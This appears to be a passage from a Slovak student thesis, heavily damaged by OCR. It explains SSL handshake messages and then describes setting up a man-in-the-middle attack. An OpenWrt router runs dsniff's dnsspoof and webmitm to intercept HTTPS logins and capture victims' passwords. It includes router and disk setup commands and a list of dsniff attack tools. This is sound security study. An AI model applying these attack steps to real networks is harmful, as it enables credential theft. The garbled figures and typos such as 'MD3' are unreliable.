nepoznd potrebny verejny kl'uc, nebude schopny rozsifrovat’ ClientKeyExchange spravu. Bez tejto

informacie je d’alsia komunikacia nemozna.

3.2.6 ChangeCipherSpec

Po tom ako klient posle tajny kI'i¢ v sprave ClientKeyExchange, je ivodné nadviazanie SSL
spojenia povazovan¢ za kompletné. Teraz su obe strany pripravené pouzivat’ sluzby zabezpeceného
spojenia. SSL protokol definuje Specialnu spravu ChangeCipherSpec, ktora explicitne indikuje
pouzivanie bezpecnostnych algoritmov. Ked'Ze prechod na zabezpecenu komunikaciu je kriticky
a obe strany ho musia spravne vykonat’, SSL Specifikacia je vel'mi precizna v popise tohto procesu.
Najprv urci sadu informacii, ktora bezpecnostné sluzby popisuje. Ticto informacie v sebe zahriaji

konkrétny algoritmus pre symetrické Sifrovanie, algoritmus pre kontrolu integrity dat, a Specificky
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kl'u¢ pre tieto algoritmy. SSL protokol taktiez rozliSuje smer, ktorym su data posielané. Jedna sada
kI'aicov sa pouzije pri ochrane dat, ktoré posle klient, a uplne in¢ kl'uce sa pouziju, ked bude
odosiclatel'om server. Pre oba systémy SSL definuje Styri stavy. Podl'a toho ¢i st data systémom
odosielané alebo prijimané rozliSujeme write state a read state (stav zapisu resp. stav Citania). Kazdy
z nich d’alej moéze byt’ v active alebo pending stave (aktivny resp. nerozhodny). Na obrazku 3.2 [1] je
ukazka ako sa pocas vytvarania spojenia jednotlivé hodnoty menia.

Na zaciatku komunikacie aktivne stavy nastavené na NULL. Pocas procesu sa postupne
vypliiaju nerozhodnuté stavy. Najprv sa potvrdia algoritmy pre Sifrovanie a integritu dat a aZ potom
sa vyplnia informacie o klI'icoch. AZ ked’ maju oba systémy vyplnené ich pending stavy, moze sa
pomocou vymeny ChangeCipherSpec sprav ticto systémy presunut’ do active stavu. Po odoslani tejto
spravy sa aktivuje write alebo read stav, podl'a toho kto spravu zaslal alebo prijal. V nasom priklade
sa klient aj server dohodli, ze budu pouzivat Data Encription Standart (DES) pre symetrické

Sifrovanie a Message Digest 5 (MD3) pre integritu dat.

Write Fiaad o QlientHello > Write Fead
Act | Pnd At | Pnd Act Pnd | Act Pnd
Ener | nu 2 fu 2 Encr nu ? nu ?
MAC | nu ? nu ? MAC | nu ? nu ?
ki fiu ? fiL ? key nu 7 nu ?
Writa Read 4« ServerHello e Write Read
Act | Pnd At | Pnd Act Pnd | Act Pnd
Ener | nu CES nu DES Encr nu DEs nu DEs
MAC | nu MDS fu NDS MAC | ru MBS i MBS
kay Al ? fu ? keay i ? il ]
Writa Fsad o QientkeyExchange ——» Writa Foad
Act | Pnd A | Pnd Act Pnd | Ast Pnd
Ener | nu CES nu DES Encr nu DES nu DES
MAC | nAu MDE fiu ND5 MAC | ru MD5 nu MD5
kay AUl P Al P kay ny 0 ny o
Writa Read o ChangeCipherSpec ———» Writa Fead
Act | Pnd At | Pnd Act Pnd | Act Pnd
Ener | DES 2 fiu DES Encr nu DES nu =]
MAC | MDS H i WDS MAC | nu MBS | nu MBS
kay 00X 7 i 0 key nJ iy i e
Write Fead +4——— ChangeCipherSpec o Wita -
Act | Pnd A | Pnd Act Pnd | Aot Pnd
Ener | D&S DES Ener | DES ? DES ?
MAC | MDS ? ND5 ? MAC | MCE ? ME5 ?
kay X ? X ? kay e d 0 ¥

Obrazok 3.2:  Proces nastavenia bezpe¢nostnych parametrov.

Encr - Sifrovanie, MAC - integrita dat, key — kI'a¢.
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3.2.7 Finished

Okamzite po odoslani ChangeCipherSpec spravy, klient aj server posielaju finished spravu.
Pomocou nej si oba systémy moézu overit, Ze aktivacia parametrov prebehla uspesne. Tato
bezpecnostna verifikacia funguje preto, lebo samotna sprava finished je uz posielana v dohodnutej
zabezpecenej forme. V pripade Ze prijimajiica strana nedeSifruje a neoveri spravu uspesne, je jasné, ze
pri nadvizovani spojenia nastala chyba. NavySe kazda finished sprava obsahuje tzv. Sifrovany hash,
ktory chrani dolezité informacie o spojeni ako napr. obsah vsetkych doposial’ pouzitych sprav. To
sluzi ako ochrana pred uto¢nikom, ktory by sa pokusil o akukol'vek zmenu v Strukture sprav (falosna
sprava, vynechanie spravy). Keby taka situacia nastala, klientov a serverov hash vypocet by sa

nezhodoval a detekovala by sa bezpecnostna chyba.

3.3 Ukoncenie zabezpeceného spojenia

Aj naprick tomu ze v praxi sa to malo poziva, SSL protokol definuje procediru pre ukoncenie
zabezpecencého spojenia medzi dvoma stranami. Nastava to vtedy, ked’ si oba systémy navzajom
poslu ClosureAlert. Explicitne uzatvorenie relacie nas chrani pred tzv. truncation utokom, v ktorom je
utocnik schopny predcasne ukonéit’ komunikaciu. Ked systém prijme spravu a neobdrzi pritom

ClosureAlert, da sa predpokladat’, Ze obsah spravy neprisiel kompletny.

34 Autentifikacia serveru

Sifrovana spojenie sa v prvom rade snazi o to, aby boli data chranene pred neopravnenou
stranou. Samotné Sifrovanie vSak neposkytuje uplni bezpecnost. Moze vSak nastat” situacia, ked’
utocnik uspesne predstiera, ze prijimatelom informacii je prave on. Data su sice zaSifrované, ale
utocnik ma v tomto pripade vSetky potrebné informacie na ich deSifrovanie. SSL protokol v sebe
preto zahfiia mechanizmus, ktory umoziuje autentifikaciu jak serveru, tak klienta.

Autentifikacie serveru nie je vel'mi odliSna od obycajného nadviazania Sifrovaného spojenia.
Obrazok 3.3 [1] graficky znazorfiuje tento proces. Dve spravy oznacené Ciernou su odlisné, zvysok je

rovnaky. Jedna sa o Certifcate a ClientKeyExchange spravy.
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- Certificate e

@ CientkeyExchange >

Obrazok 3.3:  SSL spravy pri autentifikacii serveru.

34.1 Certificate

Ked” server preukazuje svoju identitu, posicla spravu Certificate namiesto
ServerKeyExchange. Sprava obsahuje certifikat, ktory sa sklada zverejného klIti¢a serveru
a koreriového certifikatu CA. Klient ma za tlohu si tento certifikat overit. To znamena verifikovat’
podpisy, ¢asové udaje, ¢ nebol certifikat zruseny alebo déveryhodnost CA. Dalsim overenim je to &
drzitel’ certifikatu je skutoéne ten, ktorému bol certifikat vydany. Pre tento pripad sa pouziva

doménové meno serveru. Ked’ sa doména nezhoduje, prehliadac hlasi chybu.

34.2 ClientKeyExchange

Sprava ClientKeyExchange poslana klientom je tiez troSku odliSna. Pri iba Sifrovanom
spojeni klient zaSifruje informacie v ClientKeyExchange sprave pomocou verejného kl'u¢a serveru.
V tomto pripade vSak server posiela Certificate spravu namiesto ServerKeyExchange. Klient preto
pouzije verejny kl'u¢, ktory sa nachadza v certifikate serveru. To klienta uistuje v tom, Ze strana

s ktorou komunikuje vlastni odpovedajuci privatny kI'ai¢ a iba on dokaze spravu tspesne deSifrovat’.

3.5 Separovanie Sifrovania od autentizacie

Nadviazanie spojenia s autentifikaciou ma vsak jednu nevyhodu. Server posiela Certificate spravu
namiesto ServerKeyExchange, aby sa identifikoval. Tento pristup ma za nasledok to, ze verejny kl'uc

pouzity na overenie identity, sa taktieZ pouzije na zaSifrovanie klientovej ClientKeyExchange spravy.
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Tento proces je neziaduci a v niecktorych pripadoch sa ani neda vykonat. Nicktoré algoritmy
verejného kluca ako napr. DSA (Digital Signature Algorithm), mo6zu byt pouzité iba na
autentifikaciu. V takomto pripade klient nedokaze zaSifrovat’ jeho ClientKeyExchange informacie
pomocou verejncho klica.

Aby sa takymto pripadom prediSlo, SSL poskytuje mechanizmus na separaciu Sifrovania
a autentifikacie — obrazok 3.4 [1]. Proces nadvdzovania spojenia je podobny tym predchadzajucim az
na jednu vynimku. Kym v predoslych situaciach server posiclal bud’ spravu ServerKeyExchange
alebo Certificate, vtomto pripade sa odoslu obe spravy. Ako prva server posiela Certificate.
Informacie v nej sa pouZzijui iba na overenie identity. Za tiou nasleduje sprava ServerKeyExchange.
Verejny kI't¢ v nej obsiahnuty klient pouzije na zaSifrovanie session kluica. Obsah tejto spravy je

navySe podpisany pomocou verejn¢ho kltica, ktory sa nachadza v serverovom certifikate.

F 3

Cartificate '9

ServerKeyExchange o

&

L J

e ClientkeyBxchange

Obrazok 3.4:  Separacia Sifrovania a autentifikacie.

3.6 Autentifikacia klienta

SSL protokol taktiez definuje spdsob, ako si overit” klientovu identitu. Mechanizmus, ktory
tomu predchadza je podobny ako pri autentifikacii serveru. Nachadza sa v iom vsak nieckol’ko novych

sprav. Su to CertificateRequest, klientova Certificate sprava a CertificateVerify.

3.6.1 CertificateRequest

Pri SSL vymene server rozhoduje o tom, ¢i je potrebna klientova autentifikacia. Ten nema inu
moznost’ ako vyhoviet tymto poziadavkam. Ak server vyzaduje, aby sa klient autentifikoval, uéini tak

zaslanim spravy CertificateRegest. Ta je poslana hned” po vlastnej Certificate sprave. SSL
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Specifikacia zakazuje pouZzivanie tejto spravy ak sa server sam neautentifikuje, pomocou jeho
Certificate spravy. Vd’aka tomuto obmedzeniu klient pozna identitu serveru este predtym ako odhali
tu svoju. Preto za CertificateReqest nenasleduje ServerKeyExchange sprava.

Sprava sa sklada z dvoch poloziek. CertificateTypes (typy -certifikatu) obsahuje rozne typy
certifikatov, ktoré server akceptuje. Tie su vypisané v poradi podl'a priority. Druhou polozkou je

DistinguishedNames (vyznamné mena), ktora identifikuje certifikacné autority, prijatel'né pre server.

3.6.2 Certificate

Klient zvycajne odpoveda na certifikacnii poziadavku zaslanim jeho Certificate spravy
okamzite po prijati ServerHelloDone. Format je identicky ako pri serverovom certifikate. Oba
obsahuju retazec, na zaciatku ktorého sa nachadza lokalny certifikat systému s verejnym klicom a na
konci to je korefiovy certifikit CA. Ak klient nespifia podmienky obsiahnuté v CertificateRequest
sprave, odpoveda pomocou NoCertificateAlert. Server si potom moéze vybrat’ ¢i bude tato vystrahu
ignorovat” a pokracovat’ tak v komunikacii, alebo ukon¢i relaciu.

SSL protokol pouziva klientov verejny kl'u¢ iba pre digitalny podpis a nie na Sifrovanie.
Separacia autentifikacie a Sifrovanie preto vtomto pripade nie je potrebna. Klient taktiez nema

ekvivalent ku ServerKeyExchange sprave.

3.6.3 CertificateVerify

Autentifikacia klientovej identity zaslanim Certificate nekonéi. Klient eSte musi dokazat’, Ze
disponuje privatnym klIi¢om koreSpondujicim s jeho verejnym klu¢om z certifikatu. Ako dokaz
klient odosle CertificateVerify. Sprava obsahuje digitalne podpisany kryptograficky hash — kontrolny
sucet. Su to vicSinou informacie dostupné pre obe strany ato informacie o klucoch a obsah
predchadzajucich SSL sprav. Ked’ze server pozna klientov verejny kI't¢, moze si tak overit’ jeho
identitu. Sprava CertificateVerify sa neposiela hned’ za Certificate. Namiesto toho je medzi nich
vsunuta ClientKeyExchange. Je to kvoli tomu, Ze CertificateVerify sprava je zavisla na
kryptografickych hodnotach vypocitanych v ClientKeyExhange. Server si tak nemodZze overit

klientovu identitu pokial’ neprijme tuto spravu.

22



Certificate Request o

F

Q) cCertificate

¥

Q) Certificateverity >

Obrazok 3.5: Autentifikacia klienta.

3.7 Obnovenie predchadzajucej relacie

Nadviazanie SSL komunikacie je komplexny proces vyzadujuci sofistikované kryptografické
operacie a mnozstvo sprav. Aby sa tieto poziadavky minimalizovali SSL definuje mechanizmus,
pomocou ktorého moézu dve strany obnovit predchadzajice SSL parametre. Vd'aka tejto metdde
nemusia obe strany opakovat kryptografick¢ vyjednavania a kalkulacie pre autentifikaciu.
Jednoducho iba pokracuji tam, kde predtym prestali.

Server reaguje na ClientHello spravou ServerHello, za ktorou okamzite nasleduji spravy
ChangeCipherSpec a Finished. Podobne aj klient posle tieto dve spravy po tom ako obdrzi
ServerHello. V oboch pripadoch ChangeCipherSpec sprava navadza obe strany, aby reaktivovali
predchadzajuce parametre. Cely proces teda zacina klient, ked’ navrhne obnovu predoslej relacie
pomocou SessionID v ClientHello sprave. Ak server akceptuje tato vyzvu, indikuje to tym, ze do
svojej ServerHello spravy zahrnie rovnaké SessionID. V pripade Ze s obnovou nesuhlasi, odosle

spravu s inou SessionID hodnotou a tym padom prebehne cely proces vyjednavania.
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4 Priprava na utok

V tejto kapitole si opiSeme ako pripravit' utok man-in-the-middle (MITM) na SSL/TLS
protokol tzv. WEBMITIM. Blizsie si opiSeme ako tento druh tutoku prebicha a o je potrebné na jeho

realizaciu. Taktiez sa budeme venovat’ pouzitému softvéru a hardvéru.

4.1 Popis atoku

Ako uz znazvu vyplyva, man-in-the-middle — muz uprostred, je typ utoku, kde je uto¢nik
schopny zachytavat, Citat’ a upravovat’ prebichajucu komunikaciu medzi dvoma komunikujucimi
uzlami, bez toho aby si to niekto z nich vS§imol. Ukazka takéhoto utoku je zobrazena na obrazku 4.1

[8].

Web Server

MITM
Connection

Attacker

Obrazok 4.1: Man-in-the-middle utok.

Cielom méjho MITM utoku bolo ziskanie uzivatel'skych mien a hesiel klientov. Pri utoku
zohravaju svoju rolu tri strany: klient — victim, Gito¢nik — attacker a webovy server — web server. Za
klienta sa povazuje bezny uzivatel’, ktory je k internetu pripojeny pomocou sietového zariadenia.
Klient sa pripojuje k webovému serveru a vyuziva jeho sluzby. Pristup k serveru vyzaduje zadanie
klientovho uzivatel'ského mena a hesla. Webovy server poskytuje klientovi pristup na jednotlivé
webové stranky. Server podporuje SSL protokol, takze pristup na tieto stranky sa uskutocriuje

prostrednictvom https protokolu [18]. Utoénik, ktorym som v tomto pripade ja, je spravidla osoba,
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ktora sa snazi o ziskanie pristupovych udajov klienta, ktor¢ méze pouzit’ v jeho neprospech alebo za
ucelom neopravnencho pristupu na webovu aplikaciu.

Ako sietové zariadenie bol pouzity bezdrotovy smerovac WL500g, ktory sluzil ako pristupovy
bod — access point pre klienta. Ten sa na smerovaé pripajal bud’ pomocou WiFi podla Standardu
IEEE 802.11g alebo pomocou siete ethernet. Na smerovaci bol pouzity firmware WhiteRussian
verzia 0.9 [9]. Jedna sa o linuxovo zalozeni OpenWRT distribuciu. Na zvacSenie diskovej kapacity
bol pouzity externy 2,5 palcovy harddisk, ktory bol k smerovaci pripojeny pomocou USB rozhrania.
Na realizaciu utoku bolo taktiez pouzité niekolko softvérovych balickov. Na presmerovanie
komunikacie to bol program dnsspoof , vytvorenie certifikatu a Sifrovanie resp. deSifrovanie SSL
komunikacie zabezefoval program webmitim, oba z balika dsniff [11]. Na overenie portov bolo

potrebne nainstalovat’ program Nmap [12].

4.2  Pouzity hardware a software

4.2.1 ASUS WL-500g

Jednou z podstatnych veci na realizaciu mojho utoku bolo pouzitie bezdrétového smerovaca
od vyrobcu ASUS — WL500g. Router podporuje Standardy IEEE 802.11b a 802.11g. Norma 802.11¢g
roz8iruje rychlost’ prenosu dat 802.11b na 54 Mb/s s pasmom 2.4 GHz pouzitim OFDM technologie.
Taktiez poskytuje spatni kompatibilitu so zariadeniami podl'a normy 802.11b, ale iba pri rychlosti 11
Mb/s a mensej. Bezdrotova komunikacia je zabezpecena WPA overovanim a Sifrovanim WEP, TKIP,
AES ako aj vnutornou politikou na filtraciu MAC adries. Okrem bezdrétového pripojenia poskytuje
ASUS WL500g pripojeniec pomocou UTP kablu. Na tento ucel sluzia §tyri porty ethernetu
10/100Base-T ku ktorym sa pripojuje pomocou konektoru RJ45. Okrem S§tyroch LAN portoch sa na
WL500g nachadza jeden WAN port, ktory prepojuje router s vonkajSou sietou, taktieZ podporuje
staticka aj dynamicku IP adresu a PPPoE spojenie (PPP cez Ethernet) [19]. Router je vybaveny
procesorom s frekvenciou 300 MHz, ktory je postaveny na technologii RISC. Dalej obsahuje dva
druhy paméte 32 MB DDR SDRAM a 8 MB ROM. Pamitovua kapacitu je mozné rozsirit’ o externy

harddisk. Na tento ucel slazi USB port. Okrem disku sa da k smerovaci pripojit’ tlaciaren.

4.2.2  Externy disk

Pouzity smerova¢ WL-500g ma vel'kost trvalej paméte iba 8 MB. Tato pamétova kapacita by
bola pri instalacii resp. pri vytvarani logovacich suborov nedostatoéna. Pre nase potreby bola teda

vyuzita moznost pripojenia externého disku pomocou USB portu. Jednalo sa 0 2.5 palcovy externy
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disk od vyrobcu Toshiba. Parametre disku: 160 GB, vyrovnavacia pamét” 8MB, rychlost’ 5400 RPM.
Disk bol k smerovaci pripojeny pomocou USB 2.0 rozhrania [20].

4.2.3 OpenWRT

OpenWrt je linuxovo zaloZeny firmware pre vstavané systémy ako su sietové zariadenia (v
naSom pripade router). Vyvojari tejto linuxovej distribiicie sa nesnazili o vytvorenie jednoduchého
statického firmwaru, ale o flexibilny, Tl'ahko konfigurovatelny systém s podporou package
management. To umoziuje uzivatel'ovi upravovat” konfiguraciu zariadenia, alebo instalaciu réznych
aplikacii pomocou dostupnych balikov (packages). OpenWrt bol vytvoreny pod licenciou GNU
General Public License (GPL) [21]. Jednou z hlavnych vyhod je aj pouzivanie JFFS2 (Journalling
Flash File System version 2) file systému. Podpora zariadeni bola zo zaciatku limitovana na Linksys
WRTS54G sériu. Postupom casu sa vSak tato podpora rozsirila a zahrnula aj inych vyrobcov ako napr.
Netgear, D-Link, ASUS a mnoho inych. Spravovaniec OpenWrt je primarme realizovana
prostrednictvom prikazovej riadky — command line, je tu vSak aj moznost' pouzitia grafického
webového rozhrania (Web interface — webif ). Posledna vydana verzia je Kamikaze 8.09, ktora
pouziva Linux 2.6.25 a b43 kernel modul. V mojej praci vSak bola pouzita distribucia WhiteRussian
0.9 ato kvoli bezproblémovej spolupraci s WL-500g smerovacom, ktory bol pri utoku pouzity.
V tejto distribucii je zabudovany IPKG package management ako aj nickol'ko zakladnych prikazov.
Blizsie informacia o OpenWrt ako aj zoznam podporovanych zariadeni je mozné najst’ na domovskej

stranke [10].

424  Dsniff

Dsniff je kolekcia nastrojov na odchytavanie a analyzu komunikacie, ktora prechadza
siectovym prostredim. Tento pocitaCovy software, oznaCovany aj ako sniffer, odpocuva
a zaznamenava do logov prevadzku putujucu sietou. Ako data putuju sietou, sniffer zachyti kazdy
packet a ten nasledne dekéduje a analyzuje za ucelom ziskania dovernych informacii ako napr.: hesla,
e-mail, subory atd’.. Program vytvoril pan Dug Song — pocitaCovy bezpecnostny vyvojar z univerzity
v Michigan. P6évodnym zamerom bolo vytvorenie programu na kontrolu vlastnej siete ana
poukazanie slabého zabezpecenia vacsiny aplikacnych protokolov.

Ako uz bolo spomenuté dsniff obsahuje kolekciu jednotlivych programov, medzi ktoré patria:
e Arpspoof — nastroj na presmerovanie paketov v LAN sieti pomocou sfalSovanych ARP
replies (odpovedi),
e Dnsspoof — falSuje odpovede na r6zne DNS adresy v LAN. Nastroj je efektivny pri realizacii

MITM utoku,
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Dsniff — automaticky zachytava a analyzuje kazdy aplika¢ny protokol za ucelom ziskania
autentiza¢nych udajov,

Filesnarf — uklada vybrané subory zachytené z NFS (Network File System) a uklada ich do
aktualneho pracovného adresara,

Macof — nastroj zahlcuje lokalnu siet’ nahodnymi MAC adresami, ¢o spOsobuje zrutenie
niektorych sietovych zariadeni,

Mailsnarf — nastroj na zachytavanie emailovych sprav zo SMTP a POP komunikacie,
Msgsnarf — zachytava spravy posielané cez AOL Instant Messenger, 1CQO, IRC a pod.,
Sshmitm — ssh monkey-in-the-middle, zachytava SSH komunikaciu, ktora bola presmerovana
pomocou dnsspoof, za i¢elom ziskania SSH prihlasovacich udajov,

Tcpkill — “zabija” aktivne TCP spojenia,

Tcpnice — spomal’uje vybrané TCP spojenia,

Urlsnarf — vypisuje URL adresy zachytené z http komunikacie vo formate CLF (Common
Log Format) pouzivanom skoro u vSetkych webovych serveroch,

Webmitm — transparentne smeruje a zachytava http/https komunikaciu, za ucelom ziskania
hesiel a prihlasovacich dajov Sifrovanych pomocou SSL,

Webspy — nastroj posiela zachyteni URL adresu do utoénikovho webového prehliadaca, ten

stranku zobrazuje a pravidelne obnovuje v realnom case.

Pre ucely méjho utoku boli pouzité programy dnsspoof a webmitm. Blizsie informacie je mozné najst’

na oficialnom webe [11].

Priebeh utoku

Realizacia ttoku prebichala v nickolkych fazach ajej uspech bol zalozeny na urcitych

faktoroch. Prvy faktor je ten, Ze uzivatel — obet’, povazuje pripojenie k internetu, ktoré mu poskytuje

utoénik, za bezpecné. Neboji sa teda navstevovat” webové stranky, ktoré si vyZaduju jeho prihlasenie

a ktor¢ obsahuju jeho doverné informacie. DalSim faktorom je to, Ze webovy prehliada¢ informuje

uzivatel'a o nedoveryhodnosti certifikatu. Ten vSak tato vystrahu ignoruje a pokracuje v spojeni.

Priebeh utoku sa da popisat’ v nickol’kych bodoch:
Utoénik nakonfiguruje router tak, aby shizil ako pristupovy bod a klient sa tak pomocou
neho pripoji cez Wifi na internet,
Utoénik naingtaluje balidek dsniff, ktory obsahuje programy dnsspoof a webmitm, potrebné
na realizaciu utoku,
Utoénik upravi sibor dnsspoof hosts tak, aby boli klientove poziadavky o pripojenie na

webové stranky presmerované na utoénikov router,
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Pomocou programu webmitm vytvori utocnik self-signed certifikat, ktory sa pouzije pri
nadviazani SSL spojenia medzi ito¢nikom a klientom,

Utocnik spusti programy dnsspoof a webmitm. Tie zabezpeéia presmerovanie komunikacie
a vytvorenie SSL spojenia s oboma stranami,

Klient posicla poziadavku o pripojenie na webovy server. Utoénik tuto poziadavku zachyti
a vytvori SSL spojenie s webovym serverom ako aj s klientom. Nasledna komunikacia je pri
utoénikovi desifrovana, precitana, zasifrovana a poslana d’ale;j,

Klient ignoruje vystrahu o nedéveryhodnosti certifikatu a nasledne zadava svoje pristupové
informacie do dialégového okna,

Utoénik si zaznamena prihlasovacie meno a heslo v ase, ked” komunikécia prechadza cez

neho a to v desifrovanej podobe.
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S Konfiguracia a realizacia utoku

V tejto kapitole si podrobne opiSeme ako nakonfigurovat” bezdrotovy smerova¢ ASUS WL-
500g, ako pripravit a pripojit’ externy disk. Taktiez sa budeme venovat instalacii niektorych

softvérovych balickov a podrobne sa pozrieme na samotnu realizaciu utoku.

5.1 Konfiguracia smerovaca

Pri prvom pouziti ma bezdrétovy smerova¢ ASUS WL-500g povodné tovarne nastavenie (t.z.
default nastavenia). IP adresa na pristup z LAN siete je 192.168.1.1 a prihlasovacie meno aj heslo je
admin. TaktieZ je na smerovaci nahraty povodny firmware.

Konfiguraciu teda zacneme zresetovanim routeru pre pripad, zeby sa na smerovaci nachadzali
nejaké nastavenia z predchadzajiceho pouzivania. To dosiahneme cez webové rozhranie alebo
jednoducho podrzime reset tladidlo, ktoré je na jeho zadnej strane, pokial’ nezac¢ne prudko blikat
PWR diéda. Nasledne sa k routeru pripojime pomocou LAN portu, WAN port nechame nezapojeny.
V tejto faze sme pripraveny nahrat’ svoj vlastny firmware, v naSom pripade Whiterussian 0.9. Router
rebootujeme spolu so stlacenym reset tladidlom. Po par sekundach, ked” zaéne PWR didéda pomaly

blikat’, nainstalujeme pomocou tftp prikazu .trx subor.

attacker>tftp -i 192.168.1.1 PUT openwrt-brcm-2.4-squashfs.trx
Transfer successful: 1417216 bytes 1in 2 second(s), 708608

bytes/s

Po instalacii firmwaru sa mézeme na smerova¢ pripojit’ pomocou SSH klienta ako napr. Putty [13].
Prvé pripojenie sa uskutocni priamo bez zadania loginu a hesla a to pomocou protokolu telnet (port
23). Ako prvé zmenime heslo zadanim prikazu passwd a nasledne napiSeme a potvrdime heslo.
V tejto faze smerovaé rebootujeme prikazom reboot, aby sa zmeny ulozili. Daliie pripojenia sa
vykonaji pomocou zabezpeceného SSH (port 22) protokolu a budiu si vyzadovat zadanie nami
zvoleného hesla. SSH spojenie zabezpecuje program dropbear — server a klient protokolu SSH [22].
Na instalaciu akychkol'vek softvérovych balickov mame k dispozicii program ipkg (tzv.
package manager). Subor ipkg.conf obsahuje cesty k repozitarom (miesto kde st ulozené baliky), ako

aj cesty, kde sa maju baliky nainstalovat’. V tabulke 5.1 je nickol’ko zakladnych prikazov.
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Prikaz Popis ‘
ipkg install <nazov baliku> Nainstaluje balik do pévodného adresara, ak chceme zmenit miesto
kde sa ma balik nainstalovat, alebo chceme pouzit iny repozitar ako

je v subore ipkg.conf, pouzijeme moznosti -dest resp. -src.

ipkg update Aktualizuje repozitar.

ipkg upgrade Aktualizuje vSetky nainstalované baliky.

Tabulka 5.1:  ipkg prikazy.

5.2  Konfiguracia a pripojenie externého disku

Instalacia a konfiguracie externé¢ho disku pozostava znickol'kych krokov. Jedna sa
o nainStalovanie modulov pre podporu USB, formatovanie a rozdelenie disku pomocou programu
fdisk, vytvorenie file systemu (suborovy systém) a nakoniec vytvorenie skriptov pre jednoduchsie
pouzivanie.

Na podporu USB 1.1 je potrebné nainstalovat UHCI alebo OHCI ovladace (driver), zalezi od
kompatibility hardvéru. V nasom pripade to bude OHCI driver, ktory sa nainstaluje prikazom:

root@AsusWR: ~#ipkg install kmod-usb-ohci

root@AsusWR: ~finsmod usb-ohci
Ked’Ze naSe sietové zariadenie aj externy disk podporuje USB 2.0, je teda potrebné nainstalovat’
podporu aj pre toto rozhranie.

root@AsusWR: ~#ipkg install kmod-usb?2

root@AsusWR: ~f#insmod ehci-hcd

root@AsusWR: ~#insmod usbcore
Teraz je eSte potrebné pridat’ podporu pre tzv. storage:

root@AsusWR: ~#ipkg install kmod-usb-storage

root@AsusWR:~#insmod scsi mod

root@AsusWR: ~#insmod sd mod

root@AsusWR: ~#insmod usb-storage
V tejto faze smerovaé rebootujeme a hardvérovo k nemu pripojime nas externy USB disk. Po
nabootovani by mal byt disk bez problémov rozpoznany. Overit” si to mézeme pomocou prikazu
dmesg. Vypis po zadani prikazu by mal obsahovat nie¢o podobné ako:

Attached scsi removable disk sda at scsiO, channel 0, id O,

lun O
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Po pripojeni disku je potrebné jeho spravne formatovanie a vytvorenie file systemu. Ako prvé
vSak musime pridat’ podporu pre jednotlivé file systemy. Ich prehlad je zobrazeny pomocou tabul'ky
5.2 [14].

File system Balik Popis

VFAT/MSDOS kmod-vfat File system obecne pouzivany pre USB zariadenia vo Windows

EXT2 kmod-ext2 EXT — Extended File System pouZivany v operacnom systéme Linux

EXT3 kmod-ext3 Podobne ako EXT2 poskytuje vsak tzv. journaling (uklada zmeny do

logu — journal skor ako ich potvrdi).

Tabulka 5.2:  Podpora file systemov.

V nasom pripade nainstalujeme podporu pre vSetky tri file systémy a to pomocou prikazov:
root@OpenWrt:/#ipkg install kmod-vfat
root@OpenWrt:/#ipkg install kmod-ext?2
root@OpenWrt:/#ipkg install kmod-ext3
root@OpenWrt:/#insmod fat
root@OpenWrt:/#insmod vfat
root@OpenWrt:/#insmod ext2
root@OpenWrt:/#insmod ext3

V tejto faze sme pripraveny formatovat’ disk a vytvorit’ na iom EXT3 file systém. Ked'ze je
nas disk pre potreby utoku az prili§ vel'ky, pomocou programu fdisk na fiom vytvorime particiu
o velkosti 1GB. Balik, ktory obsahuje fdisk, nainstalujeme zadanim prikazu:

root@OpenWrt:/#ipkg install

http://downloads.openwrt.org/backports/rc5/fdisk 2.12r-

1 mipsel.ipk

Spustenim prikazu:
root@AsusWR:~# fdisk /dev/scsi/host0/bus0/target0/1lun0/disc a zadanim
spravnych parametrov vytvorime nami pozadovanu particiu. Ako postupovat pri zadavani parametrov

je mozné najst’ na manualovych strankach [15]. Vysledok si méZzeme overit’ prikazom:

root@OpenWrt:~# fdisk -1

Disk /dev/scsi/host0/busO/target0/lun0/disc: 160.0 GB,
160041885696 bytes
255 heads, 63 sectors/track, 19457 cylinders
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http://downloads.openwrt.org/backports/rc5/fdisk

Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot Start End Blocks Id System
/dev/scsi/host0/busO/target0/1lun0/partl 1 125 1004031 83 Linux

Dalsim prikazom vytvorime potrebny file system:

root@AsusWR: ~#mke2fs /dev/scsi/host0/bus0/target0/lunl/partl

Vytvoreny file systém je potrebné pripojit’. Pomocou prikazu mount sa nam to sice podari, ale iba do
najbliz§icho rebootu smerovaca. Po reboote by sme opét’ museli file system manualne pripojit. Aby
sme tomuto problému predisli, je potrebné vytvorit’ skript. V nasom pripade to je skript usbdrive,
ktory je ulozeny v adresari /etc/init.d a sluzi na automatické pripojenie file sysému. Ako mount
point (pripojny bod) je pouzity adresar /usb. Jeho cely obsah je zobrazeny v prilohe 1 abol
vytvoreny pomocou tychto prikazov:

root@OpenWrt:/etc/init.d# vi usbdrive

root@OpenWrt:/etc/init.d# chmod +x usbdrive

root@OpenWrt:/etc/init.d# ./usbdrive enable

Teraz, ked’ uzZ mame externy disk pripojeny a kompletne nakonfigurovany, nam este ostava
nastavit’ ipkg package manager. Ten je nastaveny tak, aby inStalované baliky ukladal do pamite
smerovaca. Ked’Ze jeho kapacita je mala a my uz mame k dispozicii externy USB disk, je potrebné
aby sme do stboru ipkg.conf vlozili novu destinaciu pre inStalované baliky. TaktieZ je potrebné
vytvorit” skript na zlinkovanie balikov, ktoré boli na externy disk nainstalované. Jedna sa o ipkg-
1link, ktory je ulozeny v adresari /bin. Jeho cely obsah je zobrazeny v prilohe 2. VysSie spomenuté
zmeny dosiahneme pomocou prikazov:

root@AsusWR:/# echo "dest usb /usb" >>/etc/ipkg.conf
root@AsusWR:/# vi /bin/ipkg-link
root@AsusWR: /bin# chmod a+x /bin/ipkg-link

root@OpenWrt:# ipkg-link mount /usb

5.3 InStalacia balika dsniff

Pre instalaciu balika dsniff je potrebné doinstalovat’ niekol’ko pridavnych balikov, bez ktorych
by program nemohol fungovat’. Tieto balicky su automaticky inStalované spolu s dsniff programom.

Jedna sa o:
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e Libgdbm - GNU dbm je kniznica databazovych funkcii, ktoré pouzivaju rozSiritelné
hesovanie a funguju rovnako ako Standardné unixové dbm funkcie,
e Libnet — obecné sietové rozhranie (API — application programming interface) poskytujuce
pristup k réznym protokolom,
e Libnids — NIDS (Network Intrusion Detection System), kniznica na detekciu sietovych
prienikov,
e Libopenssl — kniznica obsahujuca funkcie pre openSSL program,
e Libpcap — kniznica, ktora sluzi namonitorovanie siete na nizkej urovni a odchytavanie
paketov.
Program dsniff aj pridavné kniznice sa teda nainstaluju prikazom:
root@OpenWrt:/# ipkg install -d usb dsniff
